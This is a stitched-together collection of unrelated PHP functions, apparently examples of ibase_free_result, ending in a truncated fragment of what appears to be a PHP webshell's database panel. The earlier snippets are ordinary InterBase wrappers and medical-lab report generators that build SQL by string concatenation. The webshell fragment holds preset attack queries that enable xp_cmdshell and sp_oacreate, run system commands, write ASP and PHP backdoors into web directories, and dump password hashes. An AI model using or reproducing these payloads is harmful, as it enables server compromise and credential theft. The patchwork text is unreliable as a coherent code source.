public function execute($sql, $bindParams = array(), $additionalParameters = array()) { $connection = $this->connection; if (empty($bindParams)) { $result = ibase_query($connection, $sql); } else { $holderRegex = "/@[a-zA-Z0-9_]+@/"; preg_match_all($holderRegex, $sql, $matches); $args = array($connection, preg_replace($holderRegex, "?", $sql)); foreach ($matches[0] as $holder) { $args[] = $bindParams[$holder]; } $result = call_user_func_array("ibase_query", $args); } if (!$result) { $this->executeError($sql); } $rows = array(); if (is_resource($result)) { while ($row = ibase_fetch_assoc($result, IBASE_TEXT)) { $rows[] = array_change_key_case($row); } ibase_free_result($result); } else { $this->affectedRows = $result === true ? 0 : $result; } if ($this->autoCommit) { ibase_commit($connection); } return empty($rows) ? null : $rows; }
/** * Close resultset and free result memory * * @return bool success */ public function close() { if (!$this->handle) { return; } $r = ibase_free_result($this->handle); $this->handle = NULL; return $r; }
/** * This function frees the command reference. * * @access public * @override */ public function free() { if ($this->command !== NULL) { @ibase_free_result($this->command); $this->command = NULL; $this->record = FALSE; $this->blobs = array(); $this->resource = NULL; } }
/** * Closes the cursor, allowing the statement to be executed again. * * @return bool */ public function closeCursor() { if ($stmt = $this->_stmtResult) { return @ibase_free_result($this->_stmtResult); } return false; }
/** +---------------------------------------------------------- * 关闭数据库 +---------------------------------------------------------- * @access public +---------------------------------------------------------- * @throws ThinkExecption +---------------------------------------------------------- */ public function close() { if (!empty($this->queryID)) { ibase_free_result($this->queryID); } if ($this->_linkID && !ibase_close($this->_linkID)) { throw_exception($this->error()); } $this->_linkID = 0; }
function form33($orders, $dbh, $crd) { $curdate = date("m.d.Y"); $ordersid = ""; $n = count($orders); for ($i = 1; $i < $n; $i++) { $ordersid .= $orders[$i]; if ($i != $n - 1) { $ordersid .= ","; } } $results = ""; $stmt = "select p.panel, o.id from orders o inner join panels p on p.id = o.panelid where o.status in ('O','E') and o.id in (" . $ordersid . ") "; $result = ibase_query($dbh, $stmt); while ($row = ibase_fetch_row($result)) { $restm = "select count(*) from ordtask where ordersid = " . $row[1] . " and apprsts = 'T' "; $res = ibase_query($dbh, $restm); $n = ibase_fetch_row($res); $n = $n[0]; ibase_free_result($res); if ($n == 1) { $restm = "select a.analyte, case a.analtype when 3 then replace(r.finalresult,'.',',') else r.finalresult end, u.short, r.charlimits, r.status from results r inner join units u on u.id = r.unit inner join analytes a on a.id = r.analyteid inner join ordtask ord on ord.id = r.ordtaskid where ord.ordersid = " . $row[1] . " and finalresult is not null "; $res = ibase_query($dbh, $restm); $row = ibase_fetch_row($res); $ress = $row[1]; if ($row[4] == "O") { $ress = "\\textbf{" . $row[1] . "}"; } $results .= "\\textbf{" . $row[0] . "} & " . $ress . " & " . $row[2] . " \\\\ \n"; $results .= "\\hline" . "\n"; ibase_free_result($res); } else { $results .= "\\textbf{" . $row[0] . "} & & \\\\ \n\\hline \n"; $restm = "select a.analyte, case a.analtype when 3 then replace(r.finalresult,'.',',') else r.finalresult end, coalesce(u.short, ' '), coalesce(r.charlimits, ' '), r.status from results r inner join units u on u.id = r.unit inner join analytes a on a.id = r.analyteid inner join ordtask ord on ord.id = r.ordtaskid where ord.ordersid = " . $row[1] . " and finalresult is not null order by a.analyte"; $res = ibase_query($dbh, $restm); while ($row = ibase_fetch_row($res)) { $unit = $row[2]; //$unit = str_replace('%','\\%',$row[2]); //$unit = str_replace('^','\\^{}',$unit); $charlimits = str_replace('%', '\\%', $row[3]); $charlimits = str_replace('^', '\\^{}', $charlimits); $ress = $row[1]; if ($row[4] == "O") { $ress = "\\textbf{" . $row[1] . "}"; } $results .= "~ " . $row[0] . " & " . $ress . " & " . $unit . " \\\\ \n"; $results .= "\\hline" . "\n"; } ibase_free_result($res); } } $user = ""; $restm = "select distinct coalesce(u.fullname, '') from users u inner join results r on r.usernam = u.usernam inner join ordtask o on o.id = r.ordtaskid inner join orders ord on ord.id = o.ordersid where ord.id in (" . $ordersid . ") "; $res = ibase_query($dbh, $restm); while ($row = ibase_fetch_row($res)) { $user .= $row[0]; } ibase_free_result($res); $appruser = ""; $restm = "select distinct u.fullname from ordtask o inner join users u on u.usernam = o.appruser where o.ordersid in(" . $ordersid . ")"; $res = ibase_query($dbh, $restm); while ($row = ibase_fetch_row($res)) { $appruser .= $row[0]; } ibase_free_result($res); $comments = ""; $restm = "select distinct f.comments from foldercomments f inner join orders o on o.folderno = f.folderno where o.id in(" . $ordersid . ") and f.flag = 'Y' order by f.id"; $res = ibase_query($dbh, $restm); while ($row = ibase_fetch_row($res)) { $comments .= "\\small \\quad " . $row[0] . "\n\n"; } ibase_free_result($res); $biomat = find_biomat($ordersid, $dbh); $head = "\\vspace{-10px} \\flushleft \\normalsize Биоматериал: " . $biomat . "\n\n\\vspace{3px}"; $head .= "\n\\begin{longtable}[h]{|m{290px}|>{\\centering\\arraybackslash}p{100px}|m{60px}|}\n\\hline\nНазвание испытания & Результат & Единицы измерения \\\\\n\\hline"; $end = "\\end{longtable}\n\\vspace{-15px}\n\\flushleft Интерпретация классов: 0 - антитела не обнаружены; 1 - низкий уровень антител; 2 - средний уровень антител; 3 - высокий уровень антител; 4 и выше - очень высокий уровень антител"; $apprdate = find_apprdate($ordersid, $dbh); //$end .= $apprdate; $end .= "\n\\vspace{-4px}\n\\flushleft Комментарии:" . $comments . "\n\\flushleft Исследования проводил: " . $user . " \n\\vspace{-4px}\n\\flushleft Выпускающий врач: " . $appruser . " \n\\newline\n\\flushright Дата выдачи: " . $apprdate; return $head . $results . $end; }
/** * Frees a result set. * * @param resource $res The database query resource returned from * the {@link dbi_query()} function. * * @return bool True on success */ function dbi_free_result($res) { if (strcmp($GLOBALS["db_type"], "mysql") == 0) { return mysql_free_result($res); } else { if (strcmp($GLOBALS["db_type"], "mysqli") == 0) { return mysqli_free_result($res); } else { if (strcmp($GLOBALS["db_type"], "mssql") == 0) { return mssql_free_result($res); } else { if (strcmp($GLOBALS["db_type"], "oracle") == 0) { // Not supported. Ingore. if ($GLOBALS["oracle_statement"] >= 0) { OCIFreeStatement($GLOBALS["oracle_statement"]); $GLOBALS["oracle_statement"] = -1; } } else { if (strcmp($GLOBALS["db_type"], "postgresql") == 0) { return pg_freeresult($res); } else { if (strcmp($GLOBALS["db_type"], "odbc") == 0) { return odbc_free_result($res); } else { if (strcmp($GLOBALS["db_type"], "ibm_db2") == 0) { return db2_free_result($res); } else { if (strcmp($GLOBALS["db_type"], "ibase") == 0) { return ibase_free_result($res); } else { dbi_fatal_error("dbi_free_result(): db_type not defined."); } } } } } } } } }
function _close() { return @ibase_free_result($this->_queryID); }
/** * Returns information about a table or a result set * * NOTE: only supports 'table' and 'flags' if <var>$result</var> * is a table name. * * @param object|string $result DB_result object from a query or a * string containing the name of a table. * While this also accepts a query result * resource identifier, this behavior is * deprecated. * @param int $mode a valid tableInfo mode * * @return array an associative array with the information requested. * A DB_Error object on failure. * * @see DB_common::tableInfo() */ function tableInfo($result, $mode = null) { if (is_string($result)) { /* * Probably received a table name. * Create a result resource identifier. */ $id = @ibase_query($this->connection, "SELECT * FROM {$result} WHERE 1=0"); $got_string = true; } elseif (isset($result->result)) { /* * Probably received a result object. * Extract the result resource identifier. */ $id = $result->result; $got_string = false; } else { /* * Probably received a result resource identifier. * Copy it. * Deprecated. Here for compatibility only. */ $id = $result; $got_string = false; } if (!is_resource($id)) { return $this->ibaseRaiseError(DB_ERROR_NEED_MORE_DATA); } if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE) { $case_func = 'strtolower'; } else { $case_func = 'strval'; } $count = @ibase_num_fields($id); $res = array(); if ($mode) { $res['num_fields'] = $count; } for ($i = 0; $i < $count; $i++) { $info = @ibase_field_info($id, $i); $res[$i] = array('table' => $got_string ? $case_func($result) : '', 'name' => $case_func($info['name']), 'type' => $info['type'], 'len' => $info['length'], 'flags' => $got_string ? $this->_ibaseFieldFlags($info['name'], $result) : ''); if ($mode & DB_TABLEINFO_ORDER) { $res['order'][$res[$i]['name']] = $i; } if ($mode & DB_TABLEINFO_ORDERTABLE) { $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i; } } // free the result only if we were called on a table if ($got_string) { @ibase_free_result($id); } return $res; }
function FreeResult($result) { $result_value = intval($result); if (!isset($this->current_row[$result_value])) { return $this->SetError("Free result", "attemped to free an unknown query result"); } unset($this->highest_fetched_row[$result_value]); unset($this->row_buffer[$result_value]); unset($this->limits[$result_value]); unset($this->current_row[$result_value]); unset($this->results[$result_value]); unset($this->columns[$result_value]); unset($this->rows[$result_value]); unset($this->result_types[$result]); return ibase_free_result($result); }
function __destruct() { ibase_free_result($this->_result); }
function form30($orders, $dbh, $crd) { $curdate = date("m.d.Y"); $ordersid = ""; $n = count($orders); for ($i = 1; $i < $n; $i++) { $ordersid .= $orders[$i]; if ($i != $n - 1) { $ordersid .= ","; } } $results = ""; $stmt = "select t.testname, t.id, o.id from ordtask o inner join tests t on t.id = o.testcode inner join orders ord on ord.id = o.ordersid inner join panels p on p.id = ord.panelid where ord.id in (" . $ordersid . ") order by p.priority "; $result = ibase_query($dbh, $stmt); while ($row = ibase_fetch_row($result)) { $restm = "select count(*) from results where ordtaskid = " . $row[2] . " and finalresult is not null and status in ('O','E') and show = 'Y'"; $res = ibase_query($dbh, $restm); $n = ibase_fetch_row($res); $n = $n[0]; ibase_free_result($res); if ($n == 1) { $restm = "select a.analyte, case a.analtype when 3 then replace(r.finalresult,'.',',') else coalesce(pos.inreport, r.finalresult) end, u.short, r.charlimits, r.status from results r left join units u on u.id = r.unit inner join analytes a on a.id = r.analyteid left join possibleresults pos on pos.analyte = r.analyteid and r.rawresult = pos.result where r.ordtaskid = " . $row[2] . " and finalresult is not null order by a.sorter "; $res = ibase_query($dbh, $restm); $row = ibase_fetch_row($res); $ress = $row[1]; if ($row[4] == "O") { $ress = "\\textbf{" . $row[1] . "}"; } $row[0] = str_replace('%', '\\%', $row[0]); $row[0] = str_replace('β', '$\\beta$', $row[0]); $results .= "\\textbf{" . $row[0] . "} & " . $ress . " & " . $row[2] . " & " . $row[3] . " \\\\ \n"; $results .= "\\hline" . "\n"; ibase_free_result($res); } else { $row[0] = str_replace('%', '\\%', $row[0]); $row[0] = str_replace('β', '$\\beta$', $row[0]); $results .= "\\textbf{" . $row[0] . "} & & & \\\\ \n\\hline \n"; $restm = "select a.analyte, case a.analtype when 3 then replace(r.finalresult,'.',',') else coalesce(pos.inreport, r.finalresult) end, coalesce(u.short, ' '), coalesce(r.charlimits, ' '), r.status from results r left join units u on u.id = r.unit inner join analytes a on a.id = r.analyteid left join possibleresults pos on pos.analyte = r.analyteid and pos.result = r.rawresult where r.ordtaskid = " . $row[2] . " and finalresult is not null order by a.sorter"; $res = ibase_query($dbh, $restm); while ($row = ibase_fetch_row($res)) { $unit = $row[2]; //$unit = str_replace('%','\\%',$row[2]); //$unit = str_replace('^','\\^{}',$unit); $charlimits = str_replace('%', '\\%', $row[3]); $charlimits = str_replace('^', '\\^{}', $charlimits); $ress = $row[1]; if ($row[4] == "O") { $ress = "\\textbf{" . $row[1] . "}"; } $results .= "~ \\footnotesize " . $row[0] . " & \\footnotesize " . $ress . " & \\footnotesize " . $unit . " & \\footnotesize " . $charlimits . " \\\\ \n"; $results .= "\\hline" . "\n"; } ibase_free_result($res); } } $user = ""; $restm = "select distinct coalesce(u.fullname, '') from users u inner join results r on r.usernam = u.usernam inner join ordtask o on o.id = r.ordtaskid inner join orders ord on ord.id = o.ordersid where ord.id in (" . $ordersid . ") "; $res = ibase_query($dbh, $restm); while ($row = ibase_fetch_row($res)) { $user .= $row[0]; } ibase_free_result($res); $appruser = ""; $restm = "select distinct u.fullname from ordtask o inner join users u on u.usernam = o.appruser where o.ordersid in(" . $ordersid . ")"; $res = ibase_query($dbh, $restm); while ($row = ibase_fetch_row($res)) { $appruser .= $row[0] . " "; } ibase_free_result($res); $comments = ""; $restm = "select distinct f.comments from foldercomments f inner join orders o on o.folderno = f.folderno where o.id in(" . $ordersid . ") and f.flag = 'Y' order by f.id"; $res = ibase_query($dbh, $restm); while ($row = ibase_fetch_row($res)) { $comments .= "\\small \\quad " . $row[0] . "\n\n"; } ibase_free_result($res); $biomat = find_biomat($ordersid, $dbh); $panelname = find_panel($ordersid, $dbh); $head = "\\vspace{-10px} \\flushleft \\normalsize Биоматериал: " . $biomat . "\n\n\\vspace{3px}"; $head .= "\n\n\\vspace{1px}"; $head .= "\\begin{center} "; $head .= "\\textbf{" . $panelname . "}\\end{center} \n\n\\vspace{-5px}"; $head .= "\n\\begin{longtable}[h]{|m{160px}|>{\\centering\\arraybackslash}p{100px}|m{60px}|m{112px}|}\n\\hline\nИсследование & Результат & Единицы \\newline измерения & Референты \\\\\n\\hline"; $apprdate = find_apprdate($ordersid, $dbh); $comments = str_replace('%', '\\%', $comments); $end = "\\end{longtable}\n\\vspace{-15px}\n\\flushleft Комментарии:" . $comments . "\n\\vspace{-4px}\n\\flushleft Исследования проводил: " . $user . " \n\\vspace{-4px}\n\\flushleft Выпускающий врач: " . $appruser . " \n\\newline\n\\flushright Дата выдачи: " . $apprdate; return $head . $results . $end; }
/** * Returns information about a table or a result set * * NOTE: doesn't support 'flags'and 'table' if called from a db_result * * @param mixed $resource Interbase result identifier or table name * @param int $mode A valid tableInfo mode (DB_TABLEINFO_ORDERTABLE or * DB_TABLEINFO_ORDER) * * @return array An array with all the information */ function tableInfo($result, $mode = null) { $count = 0; $id = 0; $res = array(); /* * depending on $mode, metadata returns the following values: * * - mode is false (default): * $result[]: * [0]["table"] table name * [0]["name"] field name * [0]["type"] field type * [0]["len"] field length * [0]["flags"] field flags * * - mode is DB_TABLEINFO_ORDER * $result[]: * ["num_fields"] number of metadata records * [0]["table"] table name * [0]["name"] field name * [0]["type"] field type * [0]["len"] field length * [0]["flags"] field flags * ["order"][field name] index of field named "field name" * The last one is used, if you have a field name, but no index. * Test: if (isset($result['meta']['myfield'])) { ... * * - mode is DB_TABLEINFO_ORDERTABLE * the same as above. but additionally * ["ordertable"][table name][field name] index of field * named "field name" * * this is, because if you have fields from different * tables with the same field name * they override each * other with DB_TABLEINFO_ORDER * * you can combine DB_TABLEINFO_ORDER and * DB_TABLEINFO_ORDERTABLE with DB_TABLEINFO_ORDER | * DB_TABLEINFO_ORDERTABLE * or with DB_TABLEINFO_FULL */ // if $result is a string, then we want information about a // table without a resultset if (is_string($result)) { $id = ibase_query($this->connection, "SELECT * FROM {$result}"); if (empty($id)) { return $this->ibaseRaiseError(); } } else { // else we want information about a resultset $id = $result; if (empty($id)) { return $this->ibaseRaiseError(); } } $count = @ibase_num_fields($id); // made this IF due to performance (one if is faster than $count if's) if (empty($mode)) { for ($i = 0; $i < $count; $i++) { $info = @ibase_field_info($id, $i); $res[$i]['table'] = is_string($result) ? $result : ''; $res[$i]['name'] = $info['name']; $res[$i]['type'] = $info['type']; $res[$i]['len'] = $info['length']; $res[$i]['flags'] = is_string($result) ? $this->_ibaseFieldFlags($info['name'], $result) : ''; } } else { // full $res["num_fields"] = $count; for ($i = 0; $i < $count; $i++) { $info = @ibase_field_info($id, $i); $res[$i]['table'] = is_string($result) ? $result : ''; $res[$i]['name'] = $info['name']; $res[$i]['type'] = $info['type']; $res[$i]['len'] = $info['length']; $res[$i]['flags'] = is_string($result) ? $this->_ibaseFieldFlags($info['name'], $result) : ''; if ($mode & DB_TABLEINFO_ORDER) { $res['order'][$res[$i]['name']] = $i; } if ($mode & DB_TABLEINFO_ORDERTABLE) { $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i; } } } // free the result only if we were called on a table if (is_string($result)) { ibase_free_result($id); } return $res; }
/** * get the Flags of a Field * * @param string $field_name the name of the field * @param string $table_name the name of the table * * @return string The flags of the field ("primary_key", "unique_key", "not_null" * "default", "computed" and "blob" are supported) * @access private */ function _ibaseFieldFlags($field_name, $table_name) { $db =& $GLOBALS['_MDB2_databases'][$this->db_index]; $sql = 'SELECT R.RDB$CONSTRAINT_TYPE CTYPE' . ' FROM RDB$INDEX_SEGMENTS I' . ' JOIN RDB$RELATION_CONSTRAINTS R ON I.RDB$INDEX_NAME=R.RDB$INDEX_NAME' . ' WHERE I.RDB$FIELD_NAME=\'' . $field_name . '\'' . ' AND UPPER(R.RDB$RELATION_NAME)=\'' . strtoupper($table_name) . '\''; $result = @ibase_query($db->connection, $sql); if (!$result) { return $db->raiseError(); } $flags = ''; if ($obj = @ibase_fetch_object($result)) { @ibase_free_result($result); if (isset($obj->CTYPE) && trim($obj->CTYPE) == 'PRIMARY KEY') { $flags .= 'primary_key '; } if (isset($obj->CTYPE) && trim($obj->CTYPE) == 'UNIQUE') { $flags .= 'unique_key '; } } $sql = 'SELECT R.RDB$NULL_FLAG AS NFLAG,' . ' R.RDB$DEFAULT_SOURCE AS DSOURCE,' . ' F.RDB$FIELD_TYPE AS FTYPE,' . ' F.RDB$COMPUTED_SOURCE AS CSOURCE' . ' FROM RDB$RELATION_FIELDS R ' . ' JOIN RDB$FIELDS F ON R.RDB$FIELD_SOURCE=F.RDB$FIELD_NAME' . ' WHERE UPPER(R.RDB$RELATION_NAME)=\'' . strtoupper($table_name) . '\'' . ' AND R.RDB$FIELD_NAME=\'' . $field_name . '\''; $result = @ibase_query($db->connection, $sql); if (!$result) { return $db->raiseError(); } if ($obj = @ibase_fetch_object($result)) { @ibase_free_result($result); if (isset($obj->NFLAG)) { $flags .= 'not_null '; } if (isset($obj->DSOURCE)) { $flags .= 'default '; } if (isset($obj->CSOURCE)) { $flags .= 'computed '; } if (isset($obj->FTYPE) && $obj->FTYPE == 261) { $flags .= 'blob '; } } return trim($flags); }
<?php $host = 'localhost:/path/to/your.gdb'; $dbh = ibase_connect($host, $username, $password); $stmt = 'SELECT * FROM tblname'; $sth = ibase_query($dbh, $stmt); while ($row = ibase_fetch_object($sth)) { echo $row->email, "\n"; } ibase_free_result($sth); ibase_close($dbh);
/** * Free the internal resources associated with $result. * * @return boolean true on success, false if $result is invalid * @access public */ function free() { if (is_resource($this->result) && $this->db->connection) { $free = @ibase_free_result($this->result); if (false === $free) { return $this->db->raiseError(null, null, null, 'Could not free result', __FUNCTION__); } } $this->result = false; return MDB2_OK; }
function OpenPage($SQL, $PageSize, $Page) { $this->SQL = $SQL; $this->Page = $Page; $this->PageSize = $PageSize; // 레코드 카운트를 얻어온다. $SQL = str_replace("@First", "1", $this->SQL); $SQL = str_replace("@Skip", "0", $SQL); $SQL = str_replace("@SelectField", "Count(*)", $SQL); $this->Records = ibase_query($SQL, $this->Database->link_id); $this->Record = ibase_fetch_row($this->Records); $this->RecordCount = $this->Record[0]; ibase_free_result($this->Records); // 레코드가 없음 if (!$this->RecordCount) { $this->RecordCount = 0; $this->FieldCount = 0; $this->RecNo = 0; $this->RecNoDesc = 0; $this->EOF = 1; return false; } $this->RecNo = $PageSize * ($Page - 1) + 1; $this->RecNoDesc = $this->RecordCount - $PageSize * ($Page - 1); $this->LastPage = intval(($this->RecordCount - 1) / $PageSize) + 1; // Select할 필드를 치환한 후 오픈한다. $SQL = str_replace("@First", $PageSize, $this->SQL); $SQL = str_replace("@Skip", $PageSize * ($Page - 1), $SQL); $SQL = str_replace("@SelectField", $this->SelectField, $SQL); $this->Records = ibase_query($SQL, $this->Database->link_id); $this->FieldCount = ibase_num_fields($this->Records); unset($this->Fields); for ($i = 0; $i < $this->FieldCount; $i++) { $this->Fields[] = $this->FieldName($i); } $this->Record = ibase_fetch_row($this->Records); if ($this->Record) { $this->EOF = 0; } else { $this->EOF = 1; } }
function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : ''; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=w&db={$db}" enctype="multipart/form-data"> <div class="actall"><a href="?s=w">   psotgresql  </a> <a href="?s=w&db=ms">   mssql  </a> <a href="?s=w&db=ora">   oracle  </a> <a href="?s=w&db=ifx">   informix  </a> <a href="?s=w&db=fb">   firebird  </a> <a href="?s=w&db=db2">  db2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '******'; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <form method="POST" name="msform" action="?s=w&db=ms"> <div class="actall">Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); Str[0] = ""; \tStr[1] = "select @@version;"; Str[2] = "select name from sysdatabases;"; Str[3] = "select name from sysobject where type='U';"; Str[4] = "select name from syscolumns where id=Object_Id('table_name');"; Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; Str[10] = "Exec master.dbo.xp_cmdshell 'net user';"; Str[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; msform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">add sp_oacreate</option> \t<option value="6">add xp_cmdshell</option> \t<option value="7">add xp_cmdshell(2005)</option> <option value="8">add sp_oacreate(2005)</option> <option value="9">open openrowset(2005)</option> <option value="10">xp_cmdshell exec</option> <option value="10">sp_oamethod exec</option> <option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td bgcolor="#228B22"><b>' . mssql_field_name($msresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$msrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=w&db=ora"> <div class="actall">Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br><br> <script language="javascript"> function oraFull(i){ \tStr = new Array(8); Str[0] = ""; \tStr[1] = "select version();"; Str[2] = "show databases;"; Str[3] = "show tables from db_name;"; Str[4] = "show columns from table_name;"; Str[5] = "select user,password from mysql.user;"; \tStr[6] = "select load_file(0xxxxxxxxxxxxxxxxxxxxx);"; \tStr[7] = "select 0xxxxx from mysql.user into outfile 'c:\\\\inetpub\\\\wwwroot\\\\test.php'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">hashes</option> \t<option value="6">load_file</option> \t<option value="7">into outfile</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td bgcolor="#228B22"><b>' . oci_field_name($oraresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$orarow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=w&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br> <script language="javascript"> function ifxFull(i){ \tStr = new Array(11); Str[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; Str[2] = "select name from sysdatabases;"; Str[3] = "select tabname from systables;"; Str[4] = "select colname from syscolumns where tabid=n;"; Str[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; \treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">dbservername</option> <option value="1">databases</option> <option value="2">tables</option> <option value="3">columns</option> <option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult); echo "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$ifxrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=w&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br> <script language="javascript"> function db2Full(i){ \tStr = new Array(4); Str[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; 